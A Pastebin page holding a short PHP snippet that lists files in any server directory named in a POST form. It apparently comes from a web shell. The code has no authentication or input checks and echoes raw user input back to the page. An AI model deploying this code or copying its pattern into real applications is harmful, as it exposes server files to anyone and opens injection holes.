Advertisement
H4T3D

Change Directories (Browse Folders)

Oct 6th, 2015
197
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.71 KB | None | 0 0
  1. <?php
  2. // Coded By H4T3D :)
  3. // Demo >> http://viper-7.com/50OUkg/5.6.10?
  4.  
  5. echo "<tr><td bgcolor=\"#CCCCCC\"><form action=\"\" method=\"POST\" name=\"ChDir\">&nbsp;&nbsp;&nbsp;Dir path: <input type=\"text\" size=\"30\" name=\"dir\" value=\"".getcwd()."\"> <input type=\"submit\" value=\"Chdir\"></form></td></tr></table><br>";
  6.  
  7. if(isset($_POST["dir"])){
  8.  
  9. echo  "Current Directories  >> ".$_POST["dir"]."</br>";
  10.  
  11. $dir=chdir($_POST["dir"]);
  12.  
  13. $dir=$_POST["dir"];
  14.  
  15.  
  16. if (is_dir($dir)) {
  17.     if ($dh = opendir($dir)) {
  18.         while (($file = readdir($dh)) !== false) {
  19.             echo "filename: $file : filetype: " . filetype($dir . $file) . "</br>\n";
  20.         }
  21.         closedir($dh);
  22.     }
  23. }
  24.  
  25.  
  26.  
  27.  
  28.  
  29. }
  30.  
  31. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement